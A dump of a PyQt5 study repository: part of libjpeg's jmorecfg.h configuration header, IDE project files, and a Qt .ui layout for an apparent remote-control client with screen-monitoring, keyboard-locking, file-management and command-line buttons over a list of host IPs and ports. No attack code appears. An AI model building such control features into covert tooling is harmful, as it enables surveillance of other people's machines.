HAVE_UNSIGNED_CHAR 110 | 111 | typedef unsigned char JOCTET; 112 | #define GETJOCTET(value) (value) 113 | 114 | #else /* not HAVE_UNSIGNED_CHAR */ 115 | 116 | typedef char JOCTET; 117 | #ifdef CHAR_IS_UNSIGNED 118 | #define GETJOCTET(value) (value) 119 | #else 120 | #define GETJOCTET(value) ((value) & 0xFF) 121 | #endif /* CHAR_IS_UNSIGNED */ 122 | 123 | #endif /* HAVE_UNSIGNED_CHAR */ 124 | 125 | 126 | /* These typedefs are used for various table entries and so forth. 127 | * They must be at least as wide as specified; but making them too big 128 | * won't cost a huge amount of memory, so we don't provide special 129 | * extraction code like we did for JSAMPLE. (In other words, these 130 | * typedefs live at a different point on the speed/space tradeoff curve.) 131 | */ 132 | 133 | /* UINT8 must hold at least the values 0..255. */ 134 | 135 | #ifdef HAVE_UNSIGNED_CHAR 136 | typedef unsigned char UINT8; 137 | #else /* not HAVE_UNSIGNED_CHAR */ 138 | #ifdef CHAR_IS_UNSIGNED 139 | typedef char UINT8; 140 | #else /* not CHAR_IS_UNSIGNED */ 141 | typedef short UINT8; 142 | #endif /* CHAR_IS_UNSIGNED */ 143 | #endif /* HAVE_UNSIGNED_CHAR */ 144 | 145 | /* UINT16 must hold at least the values 0..65535. */ 146 | 147 | #ifdef HAVE_UNSIGNED_SHORT 148 | typedef unsigned short UINT16; 149 | #else /* not HAVE_UNSIGNED_SHORT */ 150 | typedef unsigned int UINT16; 151 | #endif /* HAVE_UNSIGNED_SHORT */ 152 | 153 | /* INT16 must hold at least the values -32768..32767. */ 154 | 155 | #ifndef XMD_H /* X11/xmd.h correctly defines INT16 */ 156 | typedef short INT16; 157 | #endif 158 | 159 | /* INT32 must hold at least signed 32-bit values. */ 160 | 161 | #ifndef XMD_H /* X11/xmd.h correctly defines INT32 */ 162 | #ifndef _BASETSD_H_ /* Microsoft defines it in basetsd.h */ 163 | #ifndef _BASETSD_H /* MinGW is slightly different */ 164 | #ifndef QGLOBAL_H /* Qt defines it in qglobal.h */ 165 | typedef long INT32; 166 | #endif 167 | #endif 168 | #endif 169 | #endif 170 | 171 | /* Datatype used for image dimensions. The JPEG standard only supports 172 | * images up to 64K*64K due to 16-bit fields in SOF markers. Therefore 173 | * "unsigned int" is sufficient on all machines. However, if you need to 174 | * handle larger images and you don't mind deviating from the spec, you 175 | * can change this datatype. 176 | */ 177 | 178 | typedef unsigned int JDIMENSION; 179 | 180 | #define JPEG_MAX_DIMENSION 65500L /* a tad under 64K to prevent overflows */ 181 | 182 | 183 | /* These macros are used in all function definitions and extern declarations. 184 | * You could modify them if you need to change function linkage conventions; 185 | * in particular, you'll need to do that to make the library a Windows DLL. 186 | * Another application is to make all functions global for use with debuggers 187 | * or code profilers that require it. 188 | */ 189 | 190 | /* a function called through method pointers: */ 191 | #define METHODDEF(type) static type 192 | /* a function used only in its module: */ 193 | #define LOCAL(type) static type 194 | /* a function referenced thru EXTERNs: */ 195 | #define GLOBAL(type) type 196 | /* a reference to a GLOBAL function: */ 197 | #define EXTERN(type) extern type 198 | 199 | 200 | /* This macro is used to declare a "method", that is, a function pointer. 201 | * We want to supply prototype parameters if the compiler can cope. 202 | * Note that the arglist parameter must be parenthesized! 203 | * Again, you can customize this if you need special linkage keywords. 204 | */ 205 | 206 | #ifdef HAVE_PROTOTYPES 207 | #define JMETHOD(type,methodname,arglist) type (*methodname) arglist 208 | #else 209 | #define JMETHOD(type,methodname,arglist) type (*methodname) () 210 | #endif 211 | 212 | 213 | /* The noreturn type identifier is used to declare functions 214 | * which cannot return. 215 | * Compilers can thus create more optimized code and perform 216 | * better checks for warnings and errors. 217 | * Static analyzer tools can make improved inferences about 218 | * execution paths and are prevented from giving false alerts. 219 | * 220 | * Unfortunately, the proposed specifications of corresponding 221 | * extensions in the Dec 2011 ISO C standard revision (C11), 222 | * GCC, MSVC, etc. are not viable. 223 | * Thus we introduce a user defined type to declare noreturn 224 | * functions at least for clarity. A proper compiler would 225 | * have a suitable noreturn type to match in place of void. 226 | */ 227 | 228 | #ifndef HAVE_NORETURN_T 229 | typedef void noreturn_t; 230 | #endif 231 | 232 | 233 | /* Here is the pseudo-keyword for declaring pointers that must be "far" 234 | * on 80x86 machines. Most of the specialized coding for 80x86 is handled 235 | * by just saying "FAR *" where such a pointer is needed. In a few places 236 | * explicit coding is needed; see uses of the NEED_FAR_POINTERS symbol. 237 | */ 238 | 239 | #ifndef FAR 240 | #ifdef NEED_FAR_POINTERS 241 | #define FAR far 242 | #else 243 | #define FAR 244 | #endif 245 | #endif 246 | 247 | 248 | /* 249 | * On a few systems, type boolean and/or its values FALSE, TRUE may appear 250 | * in standard header files. Or you may have conflicts with application- 251 | * specific header files that you want to include together with these files. 252 | * Defining HAVE_BOOLEAN before including jpeglib.h should make it work. 253 | */ 254 | 255 | #ifdef HAVE_BOOLEAN 256 | #ifndef FALSE /* in case these macros already exist */ 257 | #define FALSE 0 /* values of boolean */ 258 | #endif 259 | #ifndef TRUE 260 | #define TRUE 1 261 | #endif 262 | #else 263 | typedef enum { FALSE = 0, TRUE = 1 } boolean; 264 | #endif 265 | 266 | 267 | /* 268 | * The remaining options affect code selection within the JPEG library, 269 | * but they don't need to be visible to most applications using the library. 270 | * To minimize application namespace pollution, the symbols won't be 271 | * defined unless JPEG_INTERNALS or JPEG_INTERNAL_OPTIONS has been defined. 272 | */ 273 | 274 | #ifdef JPEG_INTERNALS 275 | #define JPEG_INTERNAL_OPTIONS 276 | #endif 277 | 278 | #ifdef JPEG_INTERNAL_OPTIONS 279 | 280 | 281 | /* 282 | * These defines indicate whether to include various optional functions. 283 | * Undefining some of these symbols will produce a smaller but less capable 284 | * library. Note that you can leave certain source files out of the 285 | * compilation/linking process if you've #undef'd the corresponding symbols. 286 | * (You may HAVE to do that if your compiler doesn't like null source files.) 287 | */ 288 | 289 | /* Capability options common to encoder and decoder: */ 290 | 291 | #define DCT_ISLOW_SUPPORTED /* slow but accurate integer algorithm */ 292 | #define DCT_IFAST_SUPPORTED /* faster, less accurate integer method */ 293 | #define DCT_FLOAT_SUPPORTED /* floating-point: accurate, fast on fast HW */ 294 | 295 | /* Encoder capability options: */ 296 | 297 | #define C_ARITH_CODING_SUPPORTED /* Arithmetic coding back end? */ 298 | #define C_MULTISCAN_FILES_SUPPORTED /* Multiple-scan JPEG files? */ 299 | #define C_PROGRESSIVE_SUPPORTED /* Progressive JPEG? (Requires MULTISCAN)*/ 300 | #define DCT_SCALING_SUPPORTED /* Input rescaling via DCT? (Requires DCT_ISLOW)*/ 301 | #define ENTROPY_OPT_SUPPORTED /* Optimization of entropy coding parms? */ 302 | /* Note: if you selected 12-bit data precision, it is dangerous to turn off 303 | * ENTROPY_OPT_SUPPORTED. The standard Huffman tables are only good for 8-bit 304 | * precision, so jchuff.c normally uses entropy optimization to compute 305 | * usable tables for higher precision. If you don't want to do optimization, 306 | * you'll have to supply different default Huffman tables. 307 | * The exact same statements apply for progressive JPEG: the default tables 308 | * don't work for progressive mode. (This may get fixed, however.) 309 | */ 310 | #define INPUT_SMOOTHING_SUPPORTED /* Input image smoothing option? */ 311 | 312 | /* Decoder capability options: */ 313 | 314 | #define D_ARITH_CODING_SUPPORTED /* Arithmetic coding back end? */ 315 | #define D_MULTISCAN_FILES_SUPPORTED /* Multiple-scan JPEG files? */ 316 | #define D_PROGRESSIVE_SUPPORTED /* Progressive JPEG? (Requires MULTISCAN)*/ 317 | #define IDCT_SCALING_SUPPORTED /* Output rescaling via IDCT? */ 318 | #define SAVE_MARKERS_SUPPORTED /* jpeg_save_markers() needed? */ 319 | #define BLOCK_SMOOTHING_SUPPORTED /* Block smoothing? (Progressive only) */ 320 | #undef UPSAMPLE_SCALING_SUPPORTED /* Output rescaling at upsample stage? */ 321 | #define UPSAMPLE_MERGING_SUPPORTED /* Fast path for sloppy upsampling? */ 322 | #define QUANT_1PASS_SUPPORTED /* 1-pass color quantization? */ 323 | #define QUANT_2PASS_SUPPORTED /* 2-pass color quantization? */ 324 | 325 | /* more capability options later, no doubt */ 326 | 327 | 328 | /* 329 | * Ordering of RGB data in scanlines passed to or from the application. 330 | * If your application wants to deal with data in the order B,G,R, just 331 | * change these macros. You can also deal with formats such as R,G,B,X 332 | * (one extra byte per pixel) by changing RGB_PIXELSIZE. Note that changing 333 | * the offsets will also change the order in which colormap data is organized. 334 | * RESTRICTIONS: 335 | * 1. The sample applications cjpeg,djpeg do NOT support modified RGB formats. 336 | * 2. The color quantizer modules will not behave desirably if RGB_PIXELSIZE 337 | * is not 3 (they don't understand about dummy color components!). So you 338 | * can't use color quantization if you change that value. 339 | */ 340 | 341 | #define RGB_RED 0 /* Offset of Red in an RGB scanline element */ 342 | #define RGB_GREEN 1 /* Offset of Green */ 343 | #define RGB_BLUE 2 /* Offset of Blue */ 344 | #define RGB_PIXELSIZE 3 /* JSAMPLEs per RGB scanline element */ 345 | 346 | 347 | /* Definitions for speed-related optimizations. */ 348 | 349 | 350 | /* If your compiler supports inline functions, define INLINE 351 | * as the inline keyword; otherwise define it as empty. 352 | */ 353 | 354 | #ifndef INLINE 355 | #ifdef __GNUC__ /* for instance, GNU C knows about inline */ 356 | #define INLINE __inline__ 357 | #endif 358 | #ifndef INLINE 359 | #define INLINE /* default is to define it as empty */ 360 | #endif 361 | #endif 362 | 363 | 364 | /* On some machines (notably 68000 series) "int" is 32 bits, but multiplying 365 | * two 16-bit shorts is faster than multiplying two ints. Define MULTIPLIER 366 | * as short on such a machine. MULTIPLIER must be at least 16 bits wide. 367 | */ 368 | 369 | #ifndef MULTIPLIER 370 | #define MULTIPLIER int /* type for fastest integer multiply */ 371 | #endif 372 | 373 | 374 | /* FAST_FLOAT should be either float or double, whichever is done faster 375 | * by your compiler. (Note that this type is only used in the floating point 376 | * DCT routines, so it only matters if you've defined DCT_FLOAT_SUPPORTED.) 377 | * Typically, float is faster in ANSI C compilers, while double is faster in 378 | * pre-ANSI compilers (because they insist on converting to double anyway). 379 | * The code below therefore chooses float if we have ANSI-style prototypes. 380 | */ 381 | 382 | #ifndef FAST_FLOAT 383 | #ifdef HAVE_PROTOTYPES 384 | #define FAST_FLOAT float 385 | #else 386 | #define FAST_FLOAT double 387 | #endif 388 | #endif 389 | 390 | #endif /* JPEG_INTERNAL_OPTIONS */ 391 | -------------------------------------------------------------------------------- /control/telnet/libjpeg/jpeg.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sp4rkw/Pyqt5_StudyNotes/1c4e8bc84481cc750d6504ad9e10acad945d5279/control/telnet/libjpeg/jpeg.lib -------------------------------------------------------------------------------- /control/windows.ui: -------------------------------------------------------------------------------- 1 | 2 | 3 | MainWindow 4 | 5 | 6 | 7 | 0 8 | 0 9 | 800 10 | 600 11 | 12 | 13 | 14 | Qt::CustomContextMenu 15 | 16 | 17 | 火萤client 18 | 19 | 20 | 21 | title.icotitle.ico 22 | 23 | 24 | 25 | 26 | 27 | 0 28 | 0 29 | 221 30 | 151 31 | 32 | 33 | 34 | 屏幕监控 35 | 36 | 37 | 38 | 2018-06-30_170734.png2018-06-30_170734.png 39 | 40 | 41 | 42 | 70 43 | 70 44 | 45 | 46 | 47 | 48 | 49 | 50 | 220 51 | 0 52 | 201 53 | 151 54 | 55 | 56 | 57 | 锁定键盘 58 | 59 | 60 | 61 | 2018-06-30_171056.png2018-06-30_171056.png 62 | 63 | 64 | 65 | 90 66 | 90 67 | 68 | 69 | 70 | 71 | 72 | 73 | 420 74 | 0 75 | 201 76 | 151 77 | 78 | 79 | 80 | 文件管理 81 | 82 | 83 | 84 | 2018-06-30_171030.png2018-06-30_171030.png 85 | 86 | 87 | 88 | 80 89 | 80 90 | 91 | 92 | 93 | 94 | 95 | 96 | 612 97 | 0 98 | 191 99 | 151 100 | 101 | 102 | 103 | 命令行 104 | 105 | 106 | 107 | 2018-06-30_171320.png2018-06-30_171320.png 108 | 109 | 110 | 111 | 70 112 | 70 113 | 114 | 115 | 116 | 117 | 118 | 119 | 0 120 | 150 121 | 801 122 | 451 123 | 124 | 125 | 126 | 127 | 1 128 | 129 | 130 | 131 | 132 | 编号 133 | 134 | 135 | 136 | 137 | 用户名 138 | 139 | 140 | 141 | 142 | ip地址 143 | 144 | 145 | 146 | 147 | 端口 148 | 149 | 150 | 151 | 152 | 测试信息 153 | 154 | 155 | 156 | 157 | 测试信息2 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | ItemIsEnabled 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | ItemIsEnabled 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | ItemIsEnabled 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | ItemIsEnabled 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | ItemIsEnabled 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | ItemIsEnabled 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | tableWidget 215 | customContextMenuRequested(QPoint) 216 | tableWidget 217 | clearContents() 218 | 219 | 220 | 517 221 | 319 222 | 223 | 224 | 517 225 | 319 226 | 227 | 228 | 229 | 230 | 231 | -------------------------------------------------------------------------------- /control/萤火clinet.e4p: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | en_US 8 | 5614ce02211b32fc4769ff99a24af9ca6ff47e83 9 | Python3 10 | PyQt5 11 | 本软件仅供学习交流使用,禁止用于违法犯罪活动 12 | 1.0 13 | getf 14 | getf_own@163.com 15 | 16 | 17 | 0net-master/0net-master/server.py 18 | Ui_windows.py 19 | __init__.py 20 | window.py 21 | 22 | 23 |
windows.ui
24 |
25 | 26 | 0net-master/0net-master/README.md 27 | 0net-master/0net-master/build/hacker/warnhacker.txt 28 | 29 | 30 | None 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 |
51 | -------------------------------------------------------------------------------- /encrypt/.idea/RSAsoftware.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 11 | -------------------------------------------------------------------------------- /encrypt/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /encrypt/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /encrypt/.idea/workspace.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 38 | 39 | 40 | 47 | 48 | 49 | 50 | 51 | true 52 | DEFINITION_ORDER 53 | 54 | 55 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 |